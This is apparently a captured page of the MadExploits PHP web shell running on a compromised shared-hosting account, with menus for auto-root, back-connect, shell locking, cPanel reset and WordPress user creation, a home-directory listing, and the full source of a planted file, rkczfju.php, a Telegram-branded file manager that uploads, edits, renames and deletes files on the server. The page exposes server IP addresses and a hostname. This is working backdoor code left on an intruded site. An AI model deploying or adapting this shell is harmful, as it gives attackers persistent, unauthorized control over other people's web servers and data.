Linux musi.iixcp.rumahweb.net 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
LiteSpeed
: 103.247.9.165 | : 216.73.216.132
Cant Read [ /etc/named.conf ]
7.4.33
pliq4844
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
pliq4844 /
[ HOME SHELL ]
Name
Size
Permission
Action
.cagefs
[ DIR ]
drwxrwx--x
.caldav
[ DIR ]
drwxr-xr-x
.cl.selector
[ DIR ]
drwxr-xr-x
.clwpos
[ DIR ]
drwx------
.config
[ DIR ]
drwx------
.cpanel
[ DIR ]
drwx------
.htpasswds
[ DIR ]
drwxr-x---
.koality
[ DIR ]
drwxr-xr-x
.softaculous
[ DIR ]
drwx--x--x
.spamassassin
[ DIR ]
drwx------
.subaccounts
[ DIR ]
drwx------
.trash
[ DIR ]
drwx------
.wp-cli
[ DIR ]
drwxr-xr-x
access-logs
[ DIR ]
drwxr-x---
etc
[ DIR ]
drwxr-x---
logs
[ DIR ]
drwx------
lscache
[ DIR ]
drwxrws---
mail
[ DIR ]
drwxr-x--x
public_ftp
[ DIR ]
drwxr-x---
public_html
[ DIR ]
drwxr-x---
public_html1
[ DIR ]
d---------
ssl
[ DIR ]
drwxr-xr-x
tmp
[ DIR ]
drwxr-xr-x
wordpress-backups
[ DIR ]
drwx------
www
[ DIR ]
drwxr-x---
.bash_history
57
B
-rw-------
.bash_logout
18
B
-rw-r--r--
.bash_profile
141
B
-rw-r--r--
.bashrc
909
B
-rw-r--r--
.ftpquota
12
B
-rw-------
.gemrc
139
B
-rw-r--r--
.lastlogin
632
B
-rw-------
.mad-root
0
B
-rw-r--r--
.spamassassinenable
0
B
-rw-r--r--
.wp-toolkit-identifier
684
B
-rw-------
rkczfju.php
16.66
KB
-rw-r--r--
sys.txt
93
B
-rw-r--r--
test.txt
14
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rkczfju.php
<?php /** * File Manager - Single File PHP * Converted from ASP.NET to PHP for Linux Support */ // Konfigurasi Root $rootDir = realpath(__DIR__); // Root adalah folder dimana script ini berada $requestDir = isset($_GET['dir']) ? $_GET['dir'] : ''; // Normalisasi Path untuk keamanan (mencegah Directory Traversal) // Di Linux path separator adalah '/', di Windows '\'. PHP otomatis menangani ini dengan DIRECTORY_SEPARATOR $currentPath = realpath($rootDir . DIRECTORY_SEPARATOR . $requestDir); // Validasi Keamanan: Pastikan user tidak keluar dari ROOT_DIR if ($currentPath === false || strpos($currentPath, $rootDir) !== 0) { $currentPath = $rootDir; $requestDir = ''; } $relativeDir = trim(substr($currentPath, strlen($rootDir)), DIRECTORY_SEPARATOR); // Variabel untuk pesan & mode view $message = ''; $msgType = ''; // 'success' or 'error' $mode = 'main'; // main, edit, rename $editFile = ''; $editContent = ''; $renameTarget = ''; // --- HELPER FUNCTIONS --- function formatSize($bytes) { if ($bytes > 0) { return number_format($bytes / 1024, 2) . ' KB'; } return '-'; } function getSafePath($base, $inputName) { // Membersihkan nama file/folder dari karakter aneh $name = basename($inputName); return $base . DIRECTORY_SEPARATOR . $name; } // Fungsi rekursif untuk menghapus folder beserta isinya (karena rmdir php hanya bisa folder kosong) function deleteRecursive($dir) { if (!is_dir($dir)) return unlink($dir); $items = scandir($dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) deleteRecursive($path); else unlink($path); } return rmdir($dir); } // --- ACTION HANDLING (POST) --- if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; // 1. Upload File if ($action === 'upload') { if (isset($_FILES['fileUpload']) && $_FILES['fileUpload']['error'] === UPLOAD_ERR_OK) { $name = basename($_FILES['fileUpload']['name']); $target = $currentPath . DIRECTORY_SEPARATOR . $name; if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $target)) { $message = "File uploaded successfully."; $msgType = "success"; } else { $message = "Upload failed."; $msgType = "error"; } } } // 2. Create File elseif ($action === 'create_file') { $name = $_POST['new_filename'] ?? ''; if (!empty($name)) { $target = getSafePath($currentPath, $name); if (!file_exists($target)) { if (file_put_contents($target, "") !== false) { $message = "File created successfully."; $msgType = "success"; } else { $message = "Failed to create file (Permission denied?)."; $msgType = "error"; } } else { $message = "File already exists."; $msgType = "error"; } } } // 3. Create Folder elseif ($action === 'create_folder') { $name = $_POST['new_foldername'] ?? ''; if (!empty($name)) { $target = getSafePath($currentPath, $name); if (!file_exists($target)) { if (mkdir($target)) { $message = "Folder created successfully."; $msgType = "success"; } else { $message = "Failed to create folder (Permission denied?)."; $msgType = "error"; } } else { $message = "Folder already exists."; $msgType = "error"; } } } // 4. Delete Item elseif ($action === 'delete') { $targetName = $_POST['target_name'] ?? ''; $targetPath = getSafePath($currentPath, $targetName); // Pastikan yang dihapus ada di dalam direktori saat ini (security) if (file_exists($targetPath) && strpos(realpath($targetPath), $currentPath) === 0) { if (is_dir($targetPath)) { if (deleteRecursive($targetPath)) { $message = "Folder deleted successfully."; $msgType = "success"; } else { $message = "Failed to delete folder."; $msgType = "error"; } } else { if (unlink($targetPath)) { $message = "File deleted successfully."; $msgType = "success"; } else { $message = "Failed to delete file."; $msgType = "error"; } } } } // 5. Open Edit Mode elseif ($action === 'edit_mode') { $targetName = $_POST['target_name'] ?? ''; $targetPath = getSafePath($currentPath, $targetName); if (is_file($targetPath)) { $mode = 'edit'; $editFile = $targetName; $editContent = file_get_contents($targetPath); } } // 6. Save Edited File elseif ($action === 'save_file') { $targetName = $_POST['target_name'] ?? ''; $content = $_POST['file_content'] ?? ''; $targetPath = getSafePath($currentPath, $targetName); // Linux Newline Correction // Browser mengirim CRLF (\r\n), kita ubah ke LF (\n) agar bersih di Linux $content = str_replace("\r\n", "\n", $content); if (file_put_contents($targetPath, $content) !== false) { $message = "File saved successfully."; $msgType = "success"; $mode = 'main'; // Kembali ke grid } else { $message = "Failed to save file."; $msgType = "error"; // Tetap di mode edit jika gagal, load ulang konten $mode = 'edit'; $editFile = $targetName; $editContent = $content; } } // 7. Open Rename Mode elseif ($action === 'rename_mode') { $mode = 'rename'; $renameTarget = $_POST['target_name']; } // 8. Process Rename elseif ($action === 'do_rename') { $oldName = $_POST['old_name']; $newName = basename($_POST['new_name']); $oldPath = getSafePath($currentPath, $oldName); $newPath = getSafePath($currentPath, $newName); if (!empty($newName) && file_exists($oldPath) && !file_exists($newPath)) { if (rename($oldPath, $newPath)) { $message = "Renamed successfully."; $msgType = "success"; $mode = 'main'; } else { $message = "Rename failed."; $msgType = "error"; } } else { $message = "Rename failed: Invalid name or already exists."; $msgType = "error"; } } // Cancel Action elseif ($action === 'cancel') { $mode = 'main'; } } // --- DATA PREPARATION FOR GRID --- $items = []; if ($mode === 'main') { $scanned = scandir($currentPath); // Pisahkan folder dan file agar folder di atas $folders = []; $files = []; foreach ($scanned as $item) { if ($item == '.') continue; $fullPath = $currentPath . DIRECTORY_SEPARATOR . $item; // Logika untuk tombol [..] (Parent Directory) if ($item == '..') { if ($currentPath !== $rootDir) { // Cari parent path relatif $parentPath = dirname($currentPath); $relParent = ($parentPath === $rootDir) ? '' : substr($parentPath, strlen($rootDir) + 1); $folders[] = [ 'name' => '[..]', 'path' => $relParent, 'type' => 'Folder', 'size' => '-', 'is_parent' => true ]; } continue; } if (is_dir($fullPath)) { $relPath = ($relativeDir ? $relativeDir . DIRECTORY_SEPARATOR : '') . $item; $folders[] = [ 'name' => $item, 'path' => $relPath, 'type' => 'Folder', 'size' => '-', 'is_parent' => false ]; } else { $files[] = [ 'name' => $item, 'path' => '', 'type' => 'File', 'size' => formatSize(filesize($fullPath)), 'is_parent' => false ]; } } $items = array_merge($folders, $files); } // Server Info string $serverInfo = get_current_user() . "@" . php_uname('n') . " (" . PHP_OS . ")"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>File Manager (PHP)</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .container { max-width: 900px; margin: auto; } .msg { padding: 10px; margin-bottom: 15px; border-radius: 4px; border: 1px solid; } .success { background: #d4edda; color: #155724; border-color: #c3e6cb; } .error { background: #f8d7da; color: #721c24; border-color: #f5c6cb; } .form-section { background: #f9f9f9; padding: 15px; border-radius: 4px; margin-top: 20px; } .editor, .rename-panel { margin-top: 20px; } .editor-area { width: 98%; height: 300px; font-family: monospace; } .breadcrumb { font-size: 1.2em; font-family: monospace; padding: 10px; background: #eee; border-radius: 4px; display: flex; justify-content: space-between; align-items: center; } .server-info { font-size: 0.8em; color: #555; font-family: Arial, sans-serif; } .grid-name { word-break: break-all; } .grid-name a { text-decoration: none; color: #0056b3; } .grid-name a:hover { text-decoration: underline; } .folder { font-weight: bold; } table { width: 100%; border-collapse: collapse; margin-top: 20px; } th, td { padding: 8px; text-align: left; border-bottom: 1px solid #ddd; } .actions a, .actions button { margin-right: 8px; cursor: pointer; color: #0056b3; background:none; border:none; padding:0; font:inherit; text-decoration: underline;} .actions form { display: inline; } </style> </head> <body> <div class="container"> <h2>File Manager (https://t.me/<span style="color:red;">civilian88</span>)</h2> <div class="breadcrumb"> <span> <a href="?dir=">[ROOT]</a>/ <?php if ($relativeDir) { $parts = explode(DIRECTORY_SEPARATOR, $relativeDir); $buildLink = ''; foreach($parts as $part) { $buildLink .= ($buildLink == '' ? '' : DIRECTORY_SEPARATOR) . $part; echo "<a href='?dir=" . urlencode($buildLink) . "'>$part</a>/"; } } ?> </span> <span class="server-info"><?php echo $serverInfo; ?></span> </div> <?php if ($message): ?> <div class="msg <?php echo $msgType; ?>"> <?php echo htmlspecialchars($message); ?> </div> <?php endif; ?> <?php if ($mode === 'edit'): ?> <div class="editor"> <h3>Editing File: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="action" value="save_file"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="file_content" class="editor-area"><?php echo htmlspecialchars($editContent); ?></textarea> <br> <button type="submit">Save Changes</button> <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button> </form> </div> <?php elseif ($mode === 'rename'): ?> <div class="rename-panel"> <h3>Rename Item: <?php echo htmlspecialchars($renameTarget); ?></h3> <form method="post"> <input type="hidden" name="action" value="do_rename"> <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($renameTarget); ?>"> <strong>New Name:</strong> <input type="text" name="new_name" value="<?php echo htmlspecialchars($renameTarget); ?>" style="width:300px;"> <br><br> <button type="submit">Rename</button> <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button> </form> </div> <?php else: ?> <div class="form-section"> <form method="post" enctype="multipart/form-data" style="margin-bottom: 10px;"> <strong>Upload File:</strong> <input type="hidden" name="action" value="upload"> <input type="file" name="fileUpload"> <button type="submit">Upload</button> </form> <hr> <form method="post" style="display:inline;"> <strong>Create File:</strong> <input type="hidden" name="action" value="create_file"> <input type="text" name="new_filename" placeholder="filename.txt"> <button type="submit">Create</button> </form> <form method="post" style="display:inline; margin-left: 20px;"> <strong>Create Folder:</strong> <input type="hidden" name="action" value="create_folder"> <input type="text" name="new_foldername" placeholder="foldername"> <button type="submit">Create Folder</button> </form> </div> <table> <thead> <tr> <th>Name</th> <th width="80">Type</th> <th width="100">Size (KB)</th> <th width="200">Actions</th> </tr> </thead> <tbody> <?php foreach ($items as $item): ?> <tr> <td class="grid-name"> <?php if ($item['type'] === 'Folder'): ?> <a href="?dir=<?php echo urlencode($item['path']); ?>" class="folder"><?php echo htmlspecialchars($item['name']); ?></a> <?php else: ?> <?php echo htmlspecialchars($item['name']); ?> <?php endif; ?> </td> <td><?php echo $item['type']; ?></td> <td><?php echo $item['size']; ?></td> <td class="actions"> <?php if (!$item['is_parent']): ?> <?php if ($item['type'] === 'File'): ?> <form method="post"> <input type="hidden" name="action" value="edit_mode"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit">Edit</button> </form> <?php endif; ?> <form method="post"> <input type="hidden" name="action" value="rename_mode"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit">Rename</button> </form> <form method="post" onsubmit="return confirm('Are you sure you want to delete this item?');"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit" style="color:red;">Delete</button> </form> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> </body> </html>
Close